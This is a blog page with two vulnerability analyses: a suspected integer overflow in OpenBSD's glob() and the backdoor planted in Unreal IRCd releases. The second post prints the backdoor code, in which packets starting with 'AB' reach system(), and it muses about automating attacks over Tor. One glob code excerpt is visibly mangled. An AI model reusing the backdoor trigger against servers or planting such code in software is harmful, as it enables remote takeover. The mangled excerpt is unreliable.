Shifting yourself to space

June 12, 2011

OpenBSD glob ‘GLOB_APPEND’ and ‘GLOB_DOOFFS’ flags integer overflow

Filed under: bugs,stupidity,Uncategorized — shift32 @ 1:35 am
Tags: ,

I usually don’t post about vuln dev, not because it’s not interesting, but because I love reading others people post about it (e.g xorl, cr0, etc)
The bug seems to exist in OpenBSD’s glob function, it’s definition is as follows:

glob(const char *restrict pattern, int flags,
int (*errfunc)(const char *epath, int errno),
glob_t *restrict pglob

According to globs man page, the glob function “The glob() function is a pathname generator that implements the rules for file name pattern matching used by the shell.”

The glob_t structure is what caught my eye, and has the following structure :

typedef struct {
int gl_pathc; /* count of total paths so far */
int gl_matchc; /* count of paths matching pattern */
int gl_offs; /* reserved at beginning of gl_pathv */
int gl_flags; /* returned flags */
char **gl_pathv; /* list of paths matching pattern */
} glob_t;

The integer overflow seem to reside in several functions, mostly because lame bounds checking and due to the fact the
the user has full control over almost everything, for example, take a look here:

160: glob(const char *pattern, int flags, int (*errfunc)(const char *, int),
161: glob_t *pglob)
162: {
163: const u_char *patnext;
164: int c;
165: Char *bufnext, *bufend, patbuf[MAXPATHLEN];
166: struct glob_lim limit = { 0, 0, 0 };
168: patnext = (u_char *) pattern;
169: if (!(flags & GLOB_APPEND)) {
170: pglob->gl_pathc = 0;
171: pglob->gl_pathv = NULL;
172: pglob->gl_statv = NULL;
173: if (!(flags & GLOB_DOOFFS))
174: pglob->gl_offs = 0;
175: }
176: pglob->gl_flags = flags & ~GLOB_MAGCHAR;
177: pglob->gl_errfunc = errfunc;
178: pglob->gl_matchc = 0;

Although checks are made for the initialization values of the pglob values, but no checks are made for any value less than zero or bigger than MAX_INT
Same goes for the globextend

static int
734: globextend(const Char *path, glob_t *pglob, struct glob_lim *limitp,
735: struct stat *sb)
736: {
737: char **pathv;
738: ssize_t i;
739: size_t newn, len;
740: char *copy = NULL;
741: const Char *p;
742: struct stat **statv;
744: newn = 2 + pglob->gl_pathc + pglob->gl_offs;
745: if (SIZE_MAX / sizeof(*pathv) <= newn ||
746: SIZE_MAX / sizeof(*statv) gl_offs; i gl_pathv && pglob->gl_pathv[i])
750: free(pglob->gl_pathv[i]);
751: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
752: pglob->gl_pathv && pglob->gl_pathv[i])
753: free(pglob->gl_statv[i]);
754: }

Notice how the values of pglob->gl_pathv and pglob->gl_offs aren’t checked for any values, and since they’re transferred from globN (N represents glob1, glob0, there’re a few passes before the actual function gets called, but I’ve seen it calling this function several times in different locations), they’re possibly controlled by others.

Well, I don’t know whether or not this vuln is remotely exploitable since I haven’t seen any usage of it in code etc, but who knows, we’re not in 2001 however.

Have fun.


June 12, 2010

On Unreal’s backdoor

Filed under: backdoor,bugs,stupidity,unreal — shift32 @ 10:56 pm

It seems that the coders at Unreal IRCd weren’t so careful when they released their IRCd, someone probably managed to own their servers, and since nobody ever wanted to sign the .tar.gz (or at least check the md5), their edition got backdoor’ed by a pretty simple backdoor.

The advisory was published here and according to Unreal, it exist since Nov 09, *shriek* that’s a lot of time not to notice a backdoor :\

The backdoor resides in src/s_bsd.c and is quite easy to spot if you look carefully enough,

1408 static int read_packet(aClient *cptr, fd_set *rfd)
1409 {
1410         int  dolen = 0, length = 0, done;
1411         time_t now = TStime();
1412         if (FD_ISSET(cptr->fd, rfd) &&
1413             !(IsPerson(cptr) && DBufLength(&cptr->recvQ) > 6090))
1414         {
1415                 Hook *h;
1416                 SET_ERRNO(0);
1417 #ifdef USE_SSL
1418                 if (cptr->flags & FLAGS_SSL)
1419                         length = ircd_SSL_read(cptr, readbuf, sizeof(readbuf));
1420                 else
1421 #endif
1422                         length = recv(cptr->fd, readbuf, sizeof(readbuf), 0);
1423                 cptr->lasttime = now;
1424                 if (cptr->lasttime > cptr->since)
1425                         cptr->since = cptr->lasttime;
1426                 cptr->flags &= ~(FLAGS_PINGSENT | FLAGS_NONL);
1427                 /*
1428                  * If not ready, fake it so it isnt closed
1429                  */
1430                 if (length < 0 && ERRNO == P_EWOULDBLOCK)
1431                     return 1;
1432                 if (length <= 0)
1433                         return length;
1434 #ifdef DEBUGMODE3
1435         if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
1436             DEBUG3_LOG(readbuf);
1437 #endif

It resides in the read_packet method which accepts a client and a set of FD’s which are irrelevant for us.
Lines 1412 to 1426 just get the packet (wether we’re using SSL or plain-text), set the timestamp etc, but the really interesting part goes on on line 1434

1434 #ifdef DEBUGMODE3
1435         if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
1436             DEBUG3_LOG(readbuf);
1437 #endif

DEBUGMODE3 is always defined and has some archaic value just to make the line get compiled,

#define DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)

Afterwards we compare the magic value of DEBUGMODE3_INFO (“AB”) to see if it exists in our recv’ed text, if so – we execute the evil macro of DEBUG3_LOG

518 #ifdef DEBUGMODE3
 519 #define DEBUGMODE3_INFO "AB"
 520 #define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
 521 #endif
1382 #define DEBUG3_DOLOG_SYSTEM(x) system(x)

DEBUG3_DOLOG_SYSTEM calls good old system(const char *command); which is defined in libc/stdlib.h and there you have it, full control over the IRCd and current running user.

Now, assuming that this backdoor has existed for over 8 months, how many servers have been compromised ?
Who knows….The next stage is to automate it w/ Tor

The smart stage to act was to isolate the user running the IRCd and also add some grsec or use AppArmor policies on it, this is quite classical philosophy that UNIX gives to all people.
As I’m no elite-sysadmin I won’t give any further advices on how-to.

Blog at